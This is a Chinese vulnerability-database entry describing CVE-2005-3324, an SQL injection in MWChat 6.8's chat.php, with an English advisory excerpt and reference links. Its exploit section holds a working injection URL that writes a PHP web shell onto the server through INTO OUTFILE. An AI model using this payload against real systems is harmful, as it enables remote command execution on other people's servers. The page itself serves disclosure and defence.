MWChat Chat.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108800 漏洞类型 SQL注入
发布时间 2005-05-21 更新时间 2005-10-31
CVE编号 CVE-2005-3324 CNNVD-ID CNNVD-200510-245
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/26394
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200510-245
|漏洞详情
MWChat是一款在线聊天系统软件。MWChat6.8的chat.php存在SQL注入漏洞,远程攻击者可以通过username参数执行任意SQL指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/15198/info

MWChat is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova
|参考资料

来源:VUPEN
名称:ADV-2005-2180
链接:http://www.frsirt.com/english/advisories/2005/2180
来源:SECUNIA
名称:17303
链接:http://secunia.com/advisories/17303
来源:SECTRACK
名称:1015094
链接:http://securitytracker.com/id?1015094
来源:MISC
链接:http://rgod.altervista.org/mwchat.html
来源:XF
名称:mwchat-chat-sql-injection(22845)
链接:http://xforce.iss.net/xforce/xfdb/22845
来源:BID
名称:15198
链接:http://www.securityfocus.com/bid/15198
来源:OSVDB
名称:20266
链接:http://www.osvdb.org/20266
来源:MISC
链接:http://www.hackerscenter.com/Archive/view.asp?id=19537
来源:appindex.net
链接:http://appindex.net/products/changelog/?product=mwchat&version=6.9